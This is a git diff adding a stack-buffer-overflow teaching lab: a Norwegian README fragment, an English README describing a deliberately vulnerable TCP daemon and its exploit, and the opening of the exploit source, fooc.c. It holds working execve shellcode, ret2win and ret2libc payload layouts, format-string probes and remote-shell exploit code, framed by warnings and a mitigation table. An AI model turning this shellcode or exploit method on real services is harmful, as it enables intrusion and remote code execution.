så kjernen har ingen feiladresse og rapporterer `si_addr = 0`. Det +NULL-et er fingerpeket: en justeringsfeil forkledd som en NULL-dereferanse. + +**Fix.** Én `ret`-gadget *ved offset `rip_off`*, som flytter det ekte målet 8 +bytes opp, siden hvert `ret` legger nøyaktig 8 til `%rsp`. Rekkefølgen er +kritisk: en tidligere versjon la `ret`-et *etter* målet og produserte +`[ padding | target | ret ]`, der det avsluttende `ret`-et aldri nås og fixen +stille og rolig ikke gjør noe. Et påfallende `ret` som ser ut som en feil, er +nesten alltid bevisst. + +### Én socket, to lesere: byten som forsvant + +**Symptom.** Shellcode ble rapportert som fungerende. Så ble pty-harnessen +gjort strengere (slå av `ECHO`, så terminalen sluttet å ekkoe harnessens egen +kommandolinje tilbake til seg), og teknikken begynte å feile. Under alt sammen +mistet hver teknikk nøyaktig én byte fra starten av hver utgangs-chunk: +`uid=1000(hanez)` ble skrevet ut som `id=1000(hanez)`, `PWNED-OK` som +`WNED-OK`, `Linux 7.2.7` som `inux 7.2.7`. + +**Årsak.** `fooc` pleide å `dup2()`e socketen inn på sitt eget stdin/stdout +og `execv()`e en *lokal* `/bin/sh`, mens et forket relay-barn også leste den +samme socketen for å flytte utdata til terminalen. Kjernen bryr seg ikke om at +de to samarbeider. En streamsocket har **én** lese-cursor, og hver leser flytter +den, så bytes deles uforutsigbart mellom dem. Den lokale shellen, som er en +interaktiv login-shell, leste nøyaktig én byte og kastet den — hver eneste +gang. `strace -f` viste det umiddelbart: + +``` +read(0, "u", 1) <- den lokale shellen, spiser en byte +read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- relayet, 1 byte for kort +``` + +**Fix.** Det er ingen shell på denne siden i det hele tatt. Det er nøyaktig én +shell i hele bildet, og den er på offeret, inne i den kaprede prosessen, med +TCP-tilkoblingen som sin stdin/stdout. Denne siden flytter bare bytes. Hvis du +noen gang trenger to forbrukere av en stream, trenger den streamen én eneste +leser som bevisst demultiplekser den. + +**Meta-leksjonen.** Det første "fungerende" resultatet var et falskt positivt +produsert av at pty-en ekkoet harnessens egen kommandolinje tilbake til den, og +fixen for det falske positive er det som avslørte den ekte feilen. Tester som +ikke kan feile, er verre enn ingen tester, fordi de forvandler "jeg vet ikke" +til "det virker." En test-harness fortjener samme mistenksomhet som koden den +tester. + +--- + +## Å eksperimentere med det + +Ting som er verdt å prøve, omtrent i den rekkefølgen du lærer mest av dem: + +1. **Endre `FOOD_BUFSZ` til 128.** Kjør `fooc` igjen. Det burde fortsatt virke + uten endringer, fordi det leser offsetet ut av disassembly-en. Bryt det så + for hånd — hardkod 88 — og se det krasje. Legg så til et andre array mellom + `buf` og de lagrede registrene, og se den automatiske oppdagelsen håndtere + det. + +2. **Legg til `-Wformat-security` og se hva format-streng-stien gjør.** Send + `%p %p %p %n` og se `food` lekke stacken. + +3. **Bruk gdb.** `make debug`, deretter: + ```gdb + (gdb) break food.c:393 # det read() som renner over + (gdb) run -p 2342 + (gdb) info registers rsp rbp + (gdb) x/24gx $rsp # legg merke til hvor returadressen ligger + (gdb) c # i et annet terminal: ./fooc -t ret2win + ``` + `SIGSEGV`-handleren logger `REG_RIP` og `REG_RSP`, så `food.log` forteller + deg om kapringen landet, selv når barnet dør før du kan koble deg på. + +4. **Slett justeringsfixen** i `fooc.c` og se `#GP`-feilen med + `si_addr = 0`-signaturen. Les så `/proc/sys/kernel/randomize_va_space` og + tenk over hva ASLR randomiserer, og hva det ikke gjør. + +5. **Bryt libc-symboloppløsningen** og se `fooc` tilpasse seg. Hele poenget + med `/proc/self/maps`-tilnærmingen er at intet offset er hardkodet. + +6. **Skriv en fjerde teknikk.** En `ret2csu`-lignende kjede hvis du kan finne + `__libc_csu_init`, eller en SROP-kjede (`sigreturn`-rammer lar deg + kontrollere alle registre på én gang). Begge er rent ROP og trenger ikke + kjørbart minne. + +7. **Fix `food.c` ordentlig**, én feil om gangen, og kjør exploitet igjen etter + hver fix. Rekkefølgen i tabellen øverst i `food.c` er omtrent den riktige + rekkefølgen å tenke i: begrens først read-et, for ingenting annet betyr noe + før feilen er borte. + +--- + +## Opprydding + +```sh +make stop # stopper food +make clean # fjerner byggeprodukter; lar food.log være i fred +pkill -x sh # bare hvis du har løse shells fra en test som gikk skeis +``` + +Merk at `pkill -x food` matcher prosess**navnet** nøyaktig. Ikke bruk +`pkill -f ./food` — det mønsteret matcher også shellen du skrev det i, og +dreper din egen sesjon. Det er ikke en hypotese; det skjedde mens dette ble +bygget. \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..3729029 --- /dev/null +++ b/README.md @@ -0,0 +1,409 @@ +# food / fooc — a stack buffer overflow, from both sides + +A C99 security lab in two halves: + +- **`food.c`** — an intentionally vulnerable TCP daemon. It has a real, + textbook stack buffer overflow (CWE-120), and a few more bugs besides. +- **`fooc.c`** — an exploit for it. It computes the overflow offset by + disassembling the target at runtime, reads address leaks from the daemon, and + gets a shell on the "victim" by overwriting a saved return address. + +The point is not the shell. The point is that you can watch, end to end, how a +memory-safety mistake turns into arbitrary code execution — and then see exactly +which mitigations stop each step of that chain. Every line of both programs is +commented, because the mechanism is the lesson. + +``` + your terminal + | + ./fooc (exploit) + | + TCP 127.0.0.1:2342 + | + ./food (vulnerable daemon) + | + fork() -> vulnerable_handler() -> overflow -> ret -> your code +``` + +--- + +## ⚠️ Read this first + +**`food` is a deliberately broken network service. It binds to `127.0.0.1` +only, and that default is deliberate — please leave it there.** + +- Do **not** run it on a machine you care about, or on anything with data on it. +- Do **not** bind it to `0.0.0.0` or a real interface. It is remotely + exploitable by design. +- Pointing `fooc` at a host you do not own or have written permission to test + is a computer intrusion offence in most jurisdictions, including under the UK + Computer Misuse Act and the US Computer Fraud and Abuse Act. +- It binds to an unprivileged port (>1024), so you do not need root. Do not + "improve" it by adding capabilities or running it as a system service. +- Every connection is handled in a `fork()`ed child, and `food` reaps it, so + crashes do not accumulate. If you find yourself with dozens of stray `sh` + processes afterwards, `pkill -x sh` is the cleanup. + +If in doubt: this lab is for a virtual machine or a container, on a network +you control, on a machine with nothing you would miss. + +--- + +## Quick start + +```sh +make # build food, fooc, and the test harnesses +make run # start food on 127.0.0.1:2342, detached +make test # run all three exploit techniques +make stop # stop the daemon +``` + +Then, by hand: + +```sh +./fooc -t leak # see the address leaks food hands out +./fooc -t demo -v # send junk; watch food die with SIGSEGV +./fooc -t ret2win -i # jump to a function that already exists -> shell +``` + +### Requirements + +| Tool | Needed for | Notes | +|---|---|---| +| `gcc` (or clang) | building | C99. Tested on gcc 16.2 | +| `objdump` | `fooc` | binutils. `fooc` shells out to it at runtime | +| `nasm` | `make verify` | only to cross-check the shellcode; skipped if absent | +| `gdb` | `make debug` | optional | +| Linux, x86-64 | both | the payload and gadget hunting are arch-specific | + +`fooc` also needs `-ldl` for `dlsym()`; the Makefile handles that. + +--- + +## The bug + +One line in `food.c` is the whole exploit surface: + +```c +char buf[FOOD_BUFSZ]; /* 64 bytes */ +n = read(fd, buf, FOOD_READMAX); /* up to 512 bytes from the network */ +``` + +64 bytes of destination, 512 bytes accepted. The attacker overwrites 448 bytes +past the end of the buffer, and because the stack grows downwards, "past the +end" means "into the frame above" — which is where the saved frame pointer and +the **saved return address** live. + +In a compiled x86-64 function at `-O0`: + +``` + high addresses + +------------------------+ rbp + 16 : caller locals + | ... | + +------------------------+ rbp + 8 : SAVED RETURN ADDRESS <-- becomes RIP + | saved rbp (8 bytes) | + +------------------------+ rbp : our frame pointer + | line[128] | + | buf[64] | <- rsp: what read() fills + +------------------------+ + low addresses +``` + +When the function returns, `leave; ret` pops that 8 bytes into `RIP` and the CPU +jumps wherever the attacker chose. Everything else in this lab is arithmetic +about where to point it. + +For this build the numbers are: `buf` is 64 bytes, the saved `rbp` is 8, so the +return address sits at offset **88** from the start of `buf`. `fooc` does not +hardcode that — it disassembles `food` and finds the `lea -0x50(%rbp)` that +precedes the `call read@plt`, so it keeps working if you change `FOOD_BUFSZ`. + +> gcc already tells you about this. Building `food` prints: +> `warning: 'read' writing 512 bytes into a region of size 64 overflows the +> destination [-Wstringop-overflow=]`. Never suppress that warning in real code. +> It is free security. + +--- + +## The three techniques + +`fooc -t `. They are in the order a real attacker would work +through them, because each one needs what the previous one taught you. + +### 1. `ret2win` — control the instruction pointer + +``` +[ 88 bytes of junk ][ address of food's win() ] + ^ saved rbp + ^ becomes RIP +``` + +`win()` is a function in the target that execs `/bin/sh`. Overwriting the return +address with its address is the entire exploit. + +**What it teaches:** you have arbitrary control of the instruction pointer. It +also needs no leak, because the binary is built `-no-pie`, so `win()` sits at a +fixed address forever. + +**The real-world equivalent** is not "attacks are easy" but "do not ship +undocumented backdoors in networked binaries." If a function like `win()` exists +in your binary, a buffer overflow will find it. That is literally the Juniper +ScreenOS backdoor CVE class. + +**Defence:** `-fPIE` (or ASLR) randomises the load address, so the attacker +must know the address — which usually means they need a leak first. That is why +`ret2win` fails against `food_hardened`. + +### 2. `ret2libc` — call anything, by name + +``` +[ junk ][ pop rdi; ret ][ address of "/bin/sh" ][ address of system() ] + ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ + sets rdi the string to pass the function to call +``` + +At execution time: `ret` pops `pop rdi; ret` into RIP; that pops the `"/bin/sh"` +pointer into `RDI`; that `ret` pops `system()` into RIP, with `RDI` still +holding the string. `system("/bin/sh")` runs. + +The gadgets (`pop rdi; ret`) are not in `food` — this glibc has no +`__libc_csu_init` — so `fooc` finds them by scanning live libc memory for the +byte pair `5f c3`. It locates libc via `/proc/self/maps`, finds the offsets of +`system` and `"/bin/sh"` with `dlsym()`, and computes the base from the leak +`food` publishes. Nothing is hardcoded, so it survives a libc update. + +**What it teaches:** once you can control `RIP`, you can chain *existing* +instructions. This is return-oriented programming, and it is what nearly all +real-world exploitation looks like, because it needs no attacker-supplied +executable memory. + +**Defence:** none of the compiler flags stop this on their own. It works +against a PIE binary, with NX, with a canary — as long as the attacker has a +leak. The defences are "do not have the overflow" and "do not leak addresses." +See the table below. + +### 3. `shellcode` — run your own machine code + +23 bytes, placed at the start of the buffer, with `RIP` pointed at them: + +```asm +xor esi, esi ; envp = NULL +xor edx, edx ; argv = NULL +movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" as 8 raw bytes +push rdi ; put the string on the stack +mov rdi, rsp ; rdi = &"/bin/sh" +push 0x3b ; 59 = __NR_execve +pop rax +syscall ; we are now a shell +``` + +This is the purest form of the bug: the attacker supplies the *instructions*, +not just the address of instructions that already exist. No libc offsets needed, +so in principle it works against a statically linked, fully randomised target. + +`make verify` assembles `shellcode.S` and diffs it against the byte array +embedded in `fooc.c`, so the two cannot drift apart. + +**Defence:** **NX** (a.k.a. W^X, "no execute"). Marking the stack +non-executable makes the hardware refuse to fetch instructions from it, and the +`ret` lands on a page that cannot run. This is why `make food` passes +`-z execstack`: a stock Linux stack is `rw-p`, not `rwx`, and the technique +dies with SIGSEGV at `RIP = the payload's address`. The single most important +lesson in the lab is that every one of these bytes only works because the +compiler was told to leave the stack executable. That flag is on for nobody's +benefit. + +### Also included + +| Mode | What it does | +|---|---| +| `-t leak` | connects, prints the leaks, sends nothing | +| `-t demo` | sends `rip_off + 8` bytes of `0x41`, so `RIP` becomes `0x4141...` and the daemon dies. Proves the bug with no address knowledge at all | +| `-t sled` | a ret sled, deliberately kept as a **failing** example. Without a leak you would brute-force ASLR by filling the buffer with the address of a `ret`. It cannot work here: `food` accepts 512 bytes, so the sled is ~53 slots against ~28 bits of entropy. Implemented so you can watch it fail, and confirm the mechanism really is "the CPU follows a chain of rets" | + +--- + +## The mitigation table + +This is the part to remember. Each row is a real defence, and the right-hand +column is what it actually does to the chain of events. + +| Mitigation | How to enable | What it stops | What it does *not* stop | +|---|---|---|---| +| **Bound the read** | `n = read(fd, buf, sizeof buf - 1);` | **Everything.** The bug does not exist, so nothing downstream matters | Nothing — this is the only complete fix | +| **Stack canary** | `-fstack-protector-strong` (gcc's default) | The `ret`: the canary is checked on function exit, so the smash is detected and the process aborts before `RIP` is popped | A bug in a function with *no* array (nothing to protect); an overflow that stays under the canary; anything that does not return normally | +| **NX / W^X** | `-z noexecstack` (the default) | Shellcode. The payload's own instructions cannot be fetched | ret2win and ret2libc entirely. These are the *reason* ROP exists | +| **PIE + ASLR** | `-fPIE` + ASLR=2 (both default) | ret2win's hardcoded addresses. Everything moves each run | Anything where the attacker has a leak. ASLR raises the cost of an exploit; it is not a fix. Note that stack, heap and mmap are randomised but the main binary's *contents* are not — that is what ROP chains use | +| **Don't leak** | don't `printf("%p")` to clients; initialise before printing | The information leak that turns ASLR from "expensive" into "free" | — | +| **Don't use `printf(user_data)`** | `printf("%s", buf)` instead of `printf(buf)` | Format-string bugs: `%x` stack reads, `%n` arbitrary writes, which is a *second* way to get RCE | — | +| **Don't use untrusted paths** | validate and `openat()` under a fixed dir | Path traversal (CWE-22) | — | +| **CET / shadow stack** | `-fcf-protection=full`, kernel + CPU support | The `ret` itself: the shadow stack remembers the *real* return address and faults on a mismatch. Catches ROP chains that use hardware `ret` | Attacks that never `ret` (call-oriented, or overwriting a function pointer's target with a gadget chain that does not need a return) | +| **Safe languages** | Rust, Go, C# for new code | The whole class. Bounds checks are checked at runtime, not hoped for at review time | — | + +### Seeing it for yourself + +```sh +make run # vulnerable daemon +make test # all three techniques work + +make test-hardened # same source, mitigations on +``` + +`test-hardened` builds `food_hardened` with `-fstack-protector-strong -fPIE +-pie -z noexecstack`, swaps it in, re-runs all three, then puts the vulnerable +one back. You will see: + +``` +### stack segment: 'rw-p' (NOT executable) is what you want to see +--- ret2win was stopped by the mitigations (as expected) +--- ret2libc was stopped by the mitigations (as expected) +--- shellcode was stopped by the mitigations (as expected) +``` + +And in the hardened daemon's log, the canary firing: + +``` +*** stack smashing detected ***: terminated +``` + +Read that carefully, because it is the most important line in the whole lab: +**the canary caught ret2win, not PIE.** All three techniques die at the canary, +because all three go through the same `read()` and smash the same frame. NX only +separately stops shellcode's *code*; PIE only separately breaks the hardcoded +address. Turn them on individually and you will find that most single +mitigations leave you exposed to something. + +--- + +## Files + +| File | Purpose | +|---|---| +| `food.c` | the vulnerable daemon. 6 numbered bugs, each with its fix in the comment | +| `fooc.c` | the exploit. objdump-based offset discovery, `/proc`-based libc discovery, 4 payload builders | +| `shellcode.S` | the 23 shellcode bytes as assembly, so they can be read and verified. `fooc` carries them inline and does not need this at runtime | +| `Makefile` | builds, tests, and the hardened comparison | +| `tests/pty_test.c` | drives `fooc` through a pseudo-terminal and checks for real shell output | +| `tests/sock_test.c` | independent verifier over a raw socket, so the result does not depend on `fooc` | +| `food.log` | the daemon's log. Your evidence of what happened | + +--- + +## Two bugs in this lab worth understanding + +These are not the target's bugs. They are bugs in the exploit and its test +harness, and both produced convincing lies. They are documented in the source +where they live; here they are because the failure modes are instructive. + +### Stack alignment: the crash that is not a NULL dereference + +**Symptom.** The hijack lands correctly — `gdb` shows you sitting in `win()` — +and then the very first thing `win()` does, a `dprintf()`, dies. `SIGSEGV` +handler reports `RIP` deep inside glibc's formatter and a faulting address of +`(nil)`, which looks exactly like a corrupted pointer. + +**Cause.** The System V AMD64 ABI requires 16-byte stack alignment. A normal +`ret` restores `%rsp` to precisely what the matching `call` saved, so the +invariant is preserved for free. Our bare `ret` does not: after it, +`%rsp = buf + rip_off`. Here `buf` is 16-byte aligned and `rip_off` is 88, so +the callee is handed a stack that is 8 mod 16. glibc is compiled with SSE2, and +`movaps` **faults** on a misaligned operand. On x86 that raises `#GP`, not +`#PF`, so the kernel has no faulting address and reports `si_addr = 0`. That +NULL is the tell: an alignment fault dressed up as a NULL dereference. + +**Fix.** One `ret` gadget *at offset `rip_off`*, shifting the real target up +8 bytes, since each `ret` adds exactly 8 to `%rsp`. Ordering is critical: an +earlier version appended the `ret` *after* the target, producing +`[ padding | target | ret ]` where the trailing `ret` is never reached and the +fix silently does nothing. A stray `ret` that looks like a mistake is nearly +always deliberate. + +### One socket, two readers: the byte that vanished + +**Symptom.** Shellcode was reported working. Then the pty harness was made +stricter (turning off `ECHO`, so the terminal stopped echoing the harness's own +command line back at it) and the technique started failing. Underneath, every +technique was dropping exactly one byte from the head of each output chunk: +`uid=1000(hanez)` printed as `id=1000(hanez)`, `PWNED-OK` as `WNED-OK`, +`Linux 7.2.7` as `inux 7.2.7`. + +**Cause.** `fooc` used to `dup2()` the socket onto its own stdin/stdout and +`execv()` a *local* `/bin/sh`, while a forked relay child also read that same +socket to move output to the terminal. The kernel does not care that the two +are cooperating. A stream socket has **one** read cursor, and every reader +moves it, so bytes split unpredictably between them. The local shell, being an +interactive login shell, read exactly one byte and discarded it — every single +time. `strace -f` showed it immediately: + +``` +read(0, "u", 1) <- the local shell, eating a byte +read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- the relay, 1 byte short +``` + +**Fix.** There is no shell on this side at all. There is exactly one shell in +the whole picture and it is on the victim, inside the hijacked process, with the +TCP connection as its stdin/stdout. This side only moves bytes. If you ever need +two consumers of a stream, that stream needs a single reader that deliberately +demultiplexes it. + +**The meta-lesson.** The first "working" result was a false positive produced by +the pty echoing the harness's own command line back at it, and the fix for that +false positive is what exposed the real bug. Tests that cannot fail are worse +than no tests, because they convert "I do not know" into "it works." A test +harness deserves the same suspicion as the code it is testing. + +--- + +## Hacking on it + +Things worth trying, roughly in order of how much you will learn: + +1. **Change `FOOD_BUFSZ` to 128.** Run `fooc` again. It should still work with no + edits, because it reads the offset out of the disassembly. Then break it by + hand — hardcode 88 — and watch it crash. Then add a second array between + `buf` and the saved registers and watch the automatic detection handle it. + +2. **Add `-Wformat-security` and look at what the format-string path does.** + Send `%p %p %p %n` and watch `food` leak the stack. + +3. **Use gdb.** `make debug`, then: + ```gdb + (gdb) break food.c:393 # the read() that overflows + (gdb) run -p 2342 + (gdb) info registers rsp rbp + (gdb) x/24gx $rsp # note where the return address is + (gdb) c # in another terminal: ./fooc -t ret2win + ``` + The `SIGSEGV` handler logs `REG_RIP` and `REG_RSP`, so `food.log` tells you + whether the hijack landed even when the child dies before you can attach. + +4. **Delete the alignment fix** in `fooc.c` and watch the `#GP` fault with the + `si_addr = 0` signature. Then read `/proc/sys/kernel/randomize_va_space` and + think about what ASLR does and does not randomise. + +5. **Break libc symbol resolution** and watch `fooc` adapt. The whole point of + the `/proc/self/maps` approach is that no offset is hardcoded. + +6. **Write a fourth technique.** A `ret2csu`-style chain if you can find + `__libc_csu_init`, or a SROP chain (`sigreturn` frames let you control every + register at once). Both are pure ROP and need no executable memory. + +7. **Fix `food.c` properly**, one bug at a time, and re-run the exploit after + each fix. The order in the table at the top of `food.c` is roughly the right + order to think about them: bound the read first, because nothing else matters + until the bug is gone. + +--- + +## Cleanup + +```sh +make stop # stops food +make clean # removes build products; leaves food.log alone +pkill -x sh # only if you have stray shells from a test that went sideways +``` + +Note `pkill -x food` matches the process **name** exactly. Do not use +`pkill -f ./food` — that pattern also matches the shell you typed it into, and +kills your own session. That is not a hypothetical; it happened while building +this. diff --git a/fooc.c b/fooc.c new file mode 100644 index 0000000..51d4c15 --- /dev/null +++ b/fooc.c @@ -0,0 +1,1518 @@ +/* + * ============================================================================ + * fooc.c -- "fooc": the companion exploit for the vulnerable daemon `food` + * ============================================================================ + * + * PURPOSE + * ------- + * `fooc` connects to `food`, reads the address leaks it publishes, builds a + * payload that overwrites the saved return address on `food`'s stack, and + * turns that into a root shell on the `food` host -- i.e. Remote Code + * Execution (RCE). + * + * The point is to make the *mechanism* visible, step by step, so that when + * you later write your own software you recognise the bug class and reach for + * the right defence. Three techniques are implemented, in the order a real + * attacker would progress through them: + * + * 1. ret2win Prove you can redirect execution by jumping to a function + * that already exists in the binary. No leak needed. + * 2. ret2libc Call any libc function you like by name, because you know + * where libc is loaded. Needs an information leak. + * 3. shellcode Put machine code in the buffer and jump to it. Needs a + * leak to know where the buffer landed. This is the one the + * brief asks for explicitly: real shellcode, executed. + * + * Plus two diagnostic modes: + * leak Just connect and print the leaks. No payload is sent. + * overflow-demo Send junk long enough to smash the return address, and + * watch the daemon die. Proves the bug exists. + * + * THE ONE THING TO UNDERSTAND + * --------------------------- + * Everything below is a consequence of a single instruction. At the end of + * `food`'s vulnerable function, the CPU executes `ret`, which does this: + * + * RIP = *(RSP) // pop 8 bytes off the stack into the PC + * RSP = RSP + 8 + * + * Those 8 bytes live in the daemon's own stack frame, and an unbounded + * read() let the attacker write them. Everything after that sentence is + * just arithmetic about where to point them. + * + * SAFETY + * ------ + * Defaults to 127.0.0.1:2342, i.e. a daemon you started on your own + * machine. Point it at a real, unowned host and you are committing a + * computer intrusion offence. Don't. + * + * Build: make fooc + * Usage: ./fooc [-h HOST] [-p PORT] [-b BINARY] [-t TECH] [-i] [-n] [-v] + * + * THE SHELL IS ON THE VICTIM + * -------------------------- + * Worth being blunt about, because it is the point people get wrong: after + * the payload lands there is exactly ONE shell in the whole picture, and it + * is running inside the victim's hijacked process with the TCP connection as + * its stdin/stdout. This program does not spawn a shell. It cannot, and it + * must not: see become_shell() for what happens when you try, and why the + * symptom is a missing byte rather than a missing shell. + * ============================================================================ + */ + +/* glibc extensions we rely on: memmem(), dlsym(), MAP_ANONYMOUS, etc. */ +#define _GNU_SOURCE + +#include /* inet_pton(): "127.0.0.1" -> 4 bytes. */ +#include /* isspace(), for trimming lines. */ +#include /* dlsym(): find a function's address in our libc. */ +#include /* errno / strerror(). */ +#include /* open(), dup2(), O_NONBLOCK. */ +#include /* struct sockaddr_in, htons(). */ +#include /* poll(): multiplex the terminal and the socket. */ +#include /* uint64_t and friends. */ +#include /* printf and friends. */ +#include /* exit(), malloc(), strtoul(). */ +#include /* memcpy(), strstr(), memmem(), strcmp(). */ +#include /* socket(), connect(), shutdown() to half-close. */ +#include /* ssize_t, pid_t. */ +#include /* Not used directly, but harmless and conventional. */ +#include /* read, write, close, dup2, execv, usleep, _exit. */ + +/* ------------------------------------------------------------------------- */ +/* Defaults */ +/* ------------------------------------------------------------------------- */ + +#define FOOC_HOST "127.0.0.1" /* Loopback. Please keep it that way. */ +#define FOOC_PORT 2342 /* Must match food's -p. */ +#define FOOC_BIN "./food" /* The target binary, for static analysis. */ + +/* Padding character for everything that is not a real address. 'A' (0x41) is + * the traditional choice; it is not NULL, so it does not truncate anything and + * it is instantly recognisable in a crash dump. */ +#define PAD_BYTE 0x41 + +/* Upper bound on how many bytes of banner/leak text we will tolerate. */ +#define RECV_MAX 4096 + +/* ------------------------------------------------------------------------- */ +/* x86-64 shellcode */ +/* ------------------------------------------------------------------------- */ + +/* + * 23 bytes of machine code that do the whole job: + * + * execve("/bin/sh", argv = NULL, envp = NULL) + * + * Hand-assembled, and byte-for-byte identical to shellcode.S in this + * directory (run `make verify-shellcode` to prove that). Every instruction is + * annotated: + * + * 31 f6 xor esi, esi ; rsi = 0 (envp = NULL) + * 31 d2 xor edx, edx ; rdx = 0 (argv = NULL) + * 48 bf 2f 62 69 6e movabs rdi, 0x68732f6e69622f + * 2f 73 68 00 ; rdi = "/bin/sh\0" as 8 raw bytes + * 57 push rdi ; stack: "/bin/sh\0" + * 48 89 e7 mov rdi, rsp ; rdi = &"/bin/sh" = argv[0] + * 6a 3b push 0x3b ; 59 = execve on x86-64 + * 58 pop rax ; rax = 59 (syscall number) + * 0f 05 syscall ; enter the kernel + * + * Why it is written this way, in detail: + * + * * x86-64's calling convention (System V ABI) says the first three integer + * arguments go in rdi, rsi, rdx, and the syscall number in rax. execve + * needs exactly those, so we fill them in directly. + * + * * The string constant is built with a single 8-byte `movabs` and then + * `push`ed, because `push imm64` does not exist on x86-64 -- the widest + * push-immediate is sign-extended to 32 bits. So we load 8 bytes into a + * register and push the register instead. The immediate 0x0068732f6e69622f + * is little-endian for the bytes 2f 62 69 6e 2f 73 68 00, which is + * "/bin/sh" followed by the NUL terminator that execve requires. We get + * the NUL "for free" because the 8th byte of the register is zero. + * + * * `push 0x3b; pop rax` is the canonical way to load a small syscall number + * without a 7-byte `mov rax, imm64`. + * + * * There is deliberately no `ret` and no `leave` at the end: execve + * replaces the entire process image and never returns. Anything after the + * `syscall` would only run if execve failed. + * + * WHY THIS IS THE MOST DANGEROUS BYTE SEQUENCE IN COMPUTING: those bytes are + * architecture-independent *conceptually* but not in practice. They encode + * literal x86-64 instructions with hardcoded register and syscall numbers, so + * the payload is not portable, cannot pass an ABI's register-sanitising + * checks, and any byte that happens to be 0x00 breaks tools that treat the + * buffer as a C string. This is precisely why modern systems refuse to execute + * the stack (NX) -- see the mitigation table in README.md. + */ +static const unsigned char SHELLCODE[] = { + 0x31, 0xf6, /* xor esi, esi */ + 0x31, 0xd2, /* xor edx, edx */ + 0x48, 0xbf, 0x2f, 0x62, 0x69, /* movabs rdi, "/bin/sh" (low 4 bytes)*/ + 0x6e, 0x2f, 0x73, 0x68, 0x00, /* movabs rdi, "/bin/sh" (high 4) */ + 0x57, /* push rdi */ + 0x48, 0x89, 0xe7, /* mov rdi, rsp */ + 0x6a, 0x3b, /* push 0x3b (execve) */ + 0x58, /* pop rax */ + 0x0f, 0x05 /* syscall */ +}; +#define SHELLCODE_LEN ((int)(sizeof(SHELLCODE))) + +/* ------------------------------------------------------------------------- */ +/* Results of analysing the target binary */ +/* ------------------------------------------------------------------------- */ + +struct bininfo { + unsigned long vuln_addr; /* Address of food's vulnerable_handler(). */ + unsigned long win_addr; /* Address of food's win() -- the ret2win goal.*/ + unsigned long frame_off; /* buf's distance below rbp, from the disasm. */ + unsigned long rip_off; /* buf -> saved return address. THE key number.*/ + unsigned long ret_gadget; /* Address of a bare `ret` instruction. */ +}; + +/* Results of introspecting our own (identical) libc. All of these are offsets + * relative to libc's load address, so they transfer to the target unchanged + * even though ASLR gave the two processes completely different bases. */ +struct libcinfo { + unsigned long base; /* Where libc is mapped in *our* process. */ + unsigned long off_system; /* offset of system() */ + unsigned long off_read; /* offset of read() -- matches food's leak */ + unsigned long off_binsh; /* offset of the "/bin/sh" string */ + unsigned long off_poprdi; /* offset of a `pop rdi ; ret` gadget */ +}; + +/* What the target told us about itself. */ +struct leaks { + unsigned long stack; /* A stack address from food (informational). */ + unsigned long libc_read; /* Address of read() inside food's libc. */ + unsigned long buf; /* Address of food's `buf`. The whole game. */ +}; + +/* ------------------------------------------------------------------------- */ +/* Step 1: static analysis of the target binary via objdump */ +/* ------------------------------------------------------------------------- */ + +/* + * Why parse the disassembly instead of hardcoding "88"? + * + * Because 88 is a property of *this compilation*, not of the bug. Change the + * optimiser, the flag set, or add a local variable, and the number changes. + * Hardcoded offsets are the single most common reason a working exploit stops + * working after a rebuild -- and, in the real world, a compiler or libc update + * is a very cheap way to kill a lot of exploits at once. Computing it keeps + * the exploit honest, and it is exactly what a real analyst does. + * + * The rule we implement, for a function compiled by GCC at -O0 on x86-64: + * + * vulnerable_handler's prologue is + * push %rbp ; mov %rsp,%rbp ; sub $N,%rsp + * and the buffer is referenced as + * lea -OFF(%rbp), %reg <- passed to read() as its 2nd argument + * + * so the buffer sits OFF bytes below the saved frame pointer, and the saved + * return address is 8 bytes *above* it: + * + * rip_off = OFF + 8 + */ +static int analyse_binary(const char *path, struct bininfo *out) +{ + char cmd[512]; /* Shell command we are about to run. */ + char line[1024]; /* One line of objdump output at a time. */ + FILE *pp; /* Pipe to the objdump child process. */ + int in_vuln = 0; /* "Are we currently inside vulnerable_handler?" */ + int saw_read = 0; /* "Have we already seen the call to read()?" */ + int have_off = 0; /* "Have we found the buffer's lea yet?" */ + long best_off = 0; /* Best candidate buffer offset seen so far. */ + int status; /* Exit status of the popen()'ed process. */ + + memset(out, 0, sizeof(*out)); + + /* + * The path is embedded in a shell command string, so quote it. (In real + * code you would avoid popen() and posix_spawn() directly; here the goal + * is legibility.) objdump is present because we use it to *build* the lab. + */ + snprintf(cmd, sizeof(cmd), "objdump -d --no-show-raw-insn '%s' 2>/dev/null", + path); + + pp = popen(cmd, "r"); + if (pp == NULL) { + fprintf(stderr, "fooc: cannot run objdump: %s\n", strerror(errno)); + return -1; + } + + /* + * Walk the disassembly a line at a time. The stream is long (tens of + * thousands of lines) so we deliberately do NOT slurp it all into memory; + * reading a line at a time keeps fooc's own footprint tiny. + */ + while (fgets(line, sizeof(line), pp) != NULL) { + + /* --- Function boundaries: lines look like "0000000000401535 :" --- */ + if (strstr(line, ":") != NULL) { + in_vuln = 1; + sscanf(line, "%lx", &out->vuln_addr); + continue; + } + + if (strstr(line, ":") != NULL) { + sscanf(line, "%lx", &out->win_addr); + continue; + } + + /* + * Any other ":" label ends the vulnerable function. Keeping + * this as "an unrecognised label" rather than "any label" is important, + * because objdump also prints jump targets as "# 402080 <...>" mid-line. + */ + if (in_vuln && strchr(line, '<') != NULL && strstr(line, ">:") != NULL) { + in_vuln = 0; + continue; + } + + /* + * Remember the first bare `ret` we see anywhere. It is used to build a + * "ret sled" for the brute-force demo mode. + * + * Parsing detail: with --no-show-raw-insn each line looks like + * " 40101a:\tret" + * i.e. address, a colon, whitespace, then the mnemonic. So we scan the + * hex address, hop to the colon, skip whitespace, and require "ret" + * to be a *whole* mnemonic -- otherwise "ret" would also match the + * prefix of "repz retq" and, worse, a symbol name in a comment. + */ + if (out->ret_gadget == 0) { + unsigned long a = 0; + const char *colon = strchr(line, ':'); + if (sscanf(line, "%lx", &a) == 1 && colon != NULL) { + const char *p = colon + 1; + while (*p == ' ' || *p == '\t') + p++; + if (strncmp(p, "ret", 3) == 0 && + (p[3] == '\0' || p[3] == '\n' || + p[3] == ' ' || p[3] == '\t')) + out->ret_gadget = a; + } + } + + if (!in_vuln) + continue; + + /* --- The vulnerable read() call: "call 401250 " --- */ + if (strstr(line, "") != NULL) { + saw_read = 1; + continue; + } + + /* 